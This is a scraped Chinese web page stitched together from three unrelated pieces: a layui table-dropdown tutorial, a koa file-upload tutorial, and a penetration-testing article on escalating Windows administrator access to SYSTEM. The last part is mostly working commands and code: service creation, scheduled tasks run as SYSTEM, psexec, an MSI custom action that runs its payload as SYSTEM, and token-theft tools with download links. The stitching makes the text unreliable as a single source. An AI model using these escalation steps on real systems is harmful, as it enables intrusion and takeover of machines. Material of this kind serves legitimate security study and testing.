.首先需要定義一個table。
<div id="id_table">
<table id="xxx" lay-filter=""></table>
</div>
2.渲染數(shù)據(jù)
layui.use(['form', 'laydate', 'table', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, laydate=layui.laydate;
var cols_ = get_cols();
var tb_opts = {
id: "xxx"
, elem: "#xxx"
, toolbar: "#xxx"
, defaultToolbar: []
, canSelectRow: 'false'
//LAY_CHECKED: true,
, autowidth: 'true'
, height: '265'
, even: true
, cols: [cols_]
, url: ""
, data: data
, text: {
none: gettext("none_data")
}
, loading: true
, page: {
layout: ['limit', 'count', 'prev', 'page', 'next']
, groups: 3
, limit: 50
, limits: [50, 100,]
}
, done: function (obj) {
get_code(obj);
}
};
gettext:為i18n。
cols:為表格顯示數(shù)據(jù)。
下邊代碼就不再演示,主要說明下,加載下拉框數(shù)據(jù)。
3.編寫cols,table顯示數(shù)據(jù),get_cols方法為我定義的獲取方法。
function get_cols() {
var cols;
var cols_2 = [];
cols_2.push(
{field: 'select_code', title: "xxxx", type: 'select', width: 160, align: 'center',templet:"#selectDictName"},
);
cols = cols.concat(cols_2);
return cols;
}
selectDictName為templet自定義模板方法。
4.編寫selectDictName方法。
寫一段單獨的js
<script type="text/html" id="selectDictName">
<select name="dictName" lay-filter="dictName" data-value="{{d.dictName}}">
</select>
</script>
作用,table生成下拉框。
5.獲取下拉框數(shù)據(jù),這是一個方法,需要將方法寫在done下,當(dāng)前我的獲取數(shù)據(jù)的方法為get_code()
function get_code(obj) {
// 渲染dictName列
// 渲染之前組裝select的option選項值
$("select[name='dictName']").html(dictNameOptions);
$('#id_table tr').each(function (e) {
var $cr = $(this);
var data_index = $cr.attr("data-index");
$.each(obj.data, function (index,value) {
if (value.LAY_TABLE_INDEX == data_index){
$cr.find('select').val(value.select_code);
}
});
});
form.render('select');
}
此處已做回顯操作。
6.根據(jù)上述代碼,我們可以知道select監(jiān)禁一個dictNameOptions的方法,這個就是我們獲取數(shù)據(jù)的方法。
需要另寫一點js
<script type="text/javascript">
var dictNameOptions = "<option value=''>--------</option>\n";
$.ajax({
async: false,
url: 'xxxx/xxx/xx',
type: 'get',
success: function (res) {
for (i in res.data) {
dictNameOptions += '<option value= "' +res.data[i].id + '">' + res.data[i].alias + '</option>';
}
}
})
</script>
這樣我們layui就在table中時間實時獲取下拉框數(shù)據(jù)。
今年國慶假期終于可以憋在家里了不用出門了,不用出去看后腦了,真的是一種享受。這么好的光陰怎么浪費,睡覺、吃飯、打豆豆這怎么可能(耍多了也煩),完全不符合我們程序員的作風(fēng),趕緊起來把文章寫完。
這篇文章比較基礎(chǔ),在國慶期間的業(yè)余時間寫的,這幾天又完善了下,力求把更多的前端所涉及到的關(guān)于文件上傳的各種場景和應(yīng)用都涵蓋了,若有疏漏和問題還請留言斧正和補充。
以下是本文所涉及到的知識點,break or continue ?
原理很簡單,就是根據(jù) http 協(xié)議的規(guī)范和定義,完成請求消息體的封裝和消息體的解析,然后將二進(jìn)制內(nèi)容保存到文件。
我們都知道如果要上傳一個文件,需要把 form 標(biāo)簽的enctype設(shè)置為multipart/form-data,同時method必須為post方法。
那么multipart/form-data表示什么呢?
multipart互聯(lián)網(wǎng)上的混合資源,就是資源由多種元素組成,form-data表示可以使用HTML Forms 和 POST 方法上傳文件,具體的定義可以參考RFC 7578。
multipart/form-data 結(jié)構(gòu)
看下 http 請求的消息體
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCntfiXcSkPhS4PN 表示本次請求要上傳文件,其中boundary表示分隔符,如果要上傳多個表單項,就要使用boundary分割,每個表單項由———XXX開始,以———XXX結(jié)尾。
每一個表單項又由Content-Type和Content-Disposition組成。
Content-Disposition: form-data 為固定值,表示一個表單元素,name 表示表單元素的 名稱,回車換行后面就是name的值,如果是上傳文件就是文件的二進(jìn)制內(nèi)容。
Content-Type:表示當(dāng)前的內(nèi)容的 MIME 類型,是圖片還是文本還是二進(jìn)制數(shù)據(jù)。
解析
客戶端發(fā)送請求到服務(wù)器后,服務(wù)器會收到請求的消息體,然后對消息體進(jìn)行解析,解析出哪是普通表單哪些是附件。
可能大家馬上能想到通過正則或者字符串處理分割出內(nèi)容,不過這樣是行不通的,二進(jìn)制buffer轉(zhuǎn)化為string,對字符串進(jìn)行截取后,其索引和字符串是不一致的,所以結(jié)果就不會正確,除非上傳的就是字符串。
不過一般情況下不需要自行解析,目前已經(jīng)有很成熟的三方庫可以使用。
至于如何解析,這個也會占用很大篇幅,后面的文章在詳細(xì)說。
使用 form 表單上傳文件
在 ie時代,如果實現(xiàn)一個無刷新的文件上傳那可是費老勁了,大部分都是用 iframe 來實現(xiàn)局部刷新或者使用 flash 插件來搞定,在那個時代 ie 就是最好用的瀏覽器(別無選擇)。
DEMO
這種方式上傳文件,不需要 js ,而且沒有兼容問題,所有瀏覽器都支持,就是體驗很差,導(dǎo)致頁面刷新,頁面其他數(shù)據(jù)丟失。
HTML
<form method="post" action="http://localhost:8100" enctype="multipart/form-data">
選擇文件:
<input type="file" name="f1"/> input 必須設(shè)置 name 屬性,否則數(shù)據(jù)無法發(fā)送<br/>
<br/>
標(biāo)題:<input type="text" name="title"/><br/><br/><br/>
<button type="submit" id="btn-0">上 傳</button>
</form>
復(fù)制代碼
服務(wù)端文件的保存基于現(xiàn)有的庫koa-body結(jié)合 koa2實現(xiàn)服務(wù)端文件的保存和數(shù)據(jù)的返回。
在項目開發(fā)中,文件上傳本身和業(yè)務(wù)無關(guān),代碼基本上都可通用。
在這里我們使用koa-body庫來實現(xiàn)解析和文件的保存。
koa-body 會自動保存文件到系統(tǒng)臨時目錄下,也可以指定保存的文件路徑。
然后在后續(xù)中間件內(nèi)得到已保存的文件的信息,再做二次處理。
NODE
/**
* 服務(wù)入口
*/
var http = require('http');
var koaStatic = require('koa-static');
var path = require('path');
var koaBody = require('koa-body');//文件保存庫
var fs = require('fs');
var Koa = require('koa2');
var app = new Koa();
var port = process.env.PORT || '8100';
var uploadHost= `http://localhost:${port}/uploads/`;
app.use(koaBody({
formidable: {
//設(shè)置文件的默認(rèn)保存目錄,不設(shè)置則保存在系統(tǒng)臨時目錄下 os
uploadDir: path.resolve(__dirname, '../static/uploads')
},
multipart: true // 開啟文件上傳,默認(rèn)是關(guān)閉
}));
//開啟靜態(tài)文件訪問
app.use(koaStatic(
path.resolve(__dirname, '../static')
));
//文件二次處理,修改名稱
app.use((ctx) => {
var file = ctx.request.files.f1;//得道文件對象
var path = file.path;
var fname = file.name;//原文件名稱
var nextPath = path+fname;
if(file.size>0 && path){
//得到擴展名
var extArr = fname.split('.');
var ext = extArr[extArr.length-1];
var nextPath = path+'.'+ext;
//重命名文件
fs.renameSync(path, nextPath);
}
//以 json 形式輸出上傳文件地址
ctx.body = `{
"fileUrl":"${uploadHost}${nextPath.slice(nextPath.lastIndexOf('/')+1)}"
}`;
});
/**
* http server
*/
var server = http.createServer(app.callback());
server.listen(port);
console.log('demo1 server start ...... ');
復(fù)制代碼
CODE
https://github.com/Bigerfe/fe-learn-code/
x00 前言
在滲透測試中,某些情況下需要用到system權(quán)限,例如操作注冊表HKEY_LOCAL_MACHINESAMSAM 恰巧最近看到了一篇文章介紹了幾種獲得system權(quán)限的方法,于是決定結(jié)合自己的經(jīng)驗對這方面的技巧做系統(tǒng)整理 當(dāng)然,前提是已經(jīng)獲得系統(tǒng)的管理員權(quán)限 學(xué)習(xí)鏈接:
https://blog.xpnsec.com/becoming-system/
0x01 簡介
本文將要介紹以下內(nèi)容:
0x02 通過創(chuàng)建服務(wù)獲得System權(quán)限
1、通過sc命令實現(xiàn)
sc Create TestService1 binPath= "cmd /c start" type= own type= interact sc start TestService1
該方法在XP系統(tǒng)可以使用 Win7下使用時控制臺提示:
警告: 服務(wù) TestService1 被配置為交互式服務(wù),其支持正受到抨擊。該服務(wù)可能無法正常起作用。
服務(wù)啟動時彈框,需要點擊查看消息才能執(zhí)行代碼,如下圖
Win8下控制臺提示錯誤,無法使用該方法
2、通過計劃任務(wù)
使用at命令:
at 7:50 notepad.exe
默認(rèn)以system權(quán)限啟動,適用于Win7 從Win8開始不再支持at命令 使用schtasks命令: 創(chuàng)建服務(wù),以system權(quán)限啟動:
schtasks /Create /TN TestService2 /SC DAILY /ST 00:36 /TR notepad.exe /RU SYSTEM
查看服務(wù)狀態(tài):
schtasks /Query /TN TestService2
刪除服務(wù):
schtasks /Delete /TN TestService2 /F
注: 使用schtasks創(chuàng)建服務(wù)后記得手動刪除 schtasks命令支持Win7-Win10
3、利用psexec
使用psexec會創(chuàng)建PSEXESVC服務(wù),產(chǎn)生日志Event 4697、Event 7045、Event 4624和Event 4652 以system權(quán)限啟動:
psexec.exe -accepteula -s -d notepad.exe
默認(rèn)情況下,system權(quán)限的進(jìn)程不會在用戶桌面顯示,如果需要顯示進(jìn)程界面,可以加/i參數(shù),命令如下:
psexec.exe -accepteula -s -i -d notepad.exe
如下圖
4、Meterpreter
參考Meterpreter的方法:
可供參考的代碼:
https://github.com/xpn/getsystem-offline
需要getsystem-offline.exe和getsystem_service.exe 測試如下圖
注: vs2012直接編譯存在bug,可將函數(shù)snprintf替換為_snprintf0x03 利用MSIExec獲得System權(quán)限
我曾在之前的文章《滲透測試中的msiexec》介紹過利用Advanced Installer制作msi文件的方法,這里不再贅述 本節(jié)對XPN提到的方法做復(fù)現(xiàn),使用wix3制作msi文件 wix3下載地址:
https://github.com/wixtoolset/wix3
msigen.wix的代碼可參考如下地址:
https://gist.github.com/xpn/d1ef20dfd266053227d3e992ae84c64e
編譯命令如下:
candle.exe msigen.wix torch.exe msigen.wixobj
我對XPN的代碼做了修改,將payload替換為執(zhí)行calc.exe,細(xì)節(jié)上做了部分修改,代碼如下:
<?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" /> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="INSTALLLOCATION" Name="Example"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"> </Component> </Directory> </Directory> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> <Property Id="cmdline">calc.exe </Property> <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/> <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check"> invalid vbs to fail install </CustomAction> <InstallExecuteSequence> <Custom Action="SystemShell" After="InstallInitialize"></Custom> <Custom Action="FailInstall" Before="InstallFiles"></Custom> </InstallExecuteSequence> </Product> </Wix>
經(jīng)過我的測試,使用torch.exe將msigen.wixobj編譯成msigen.msi文件會報錯,如下圖
使用light.exe能夠成功生成msigen.msi,如下圖
雖然報錯,但不影響文件的生成和功能的執(zhí)行 也就是說,完整編譯命令如下:
candle.exe msigen.wix light.exe msigen.wixobj
直接雙擊執(zhí)行msigen.msi會彈框,啟動的calc.exe為system權(quán)限 命令行下執(zhí)行:
msiexec /q /i msigen.msi
啟動的calc.exe為high權(quán)限
0x04 利用token復(fù)制獲得System權(quán)限
可參考之前的文章:《滲透技巧——Token竊取與利用》 通過復(fù)制system權(quán)限的token,使進(jìn)程獲得system權(quán)限,常用工具如下:
1、incognito
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe
下載地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
2、Invoke-TokenManipulation.ps1
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
3、SelectMyParent
SelectMyParent.exe cmd.exe 504
參考地址:
https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/SelectMyParent.cpp
Author: Didier Stevens 注: SelectMyParent的原理同xpn開源的代碼(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method)相同,地址如下:
https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
0x05 小結(jié)
本文對常用的System權(quán)限獲取方法做了整理,最后感謝xpn的博客和他的開源代碼。
本文作者:3gstudent 轉(zhuǎn)載自:http://www.mottoin.com/detail/1926.html
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。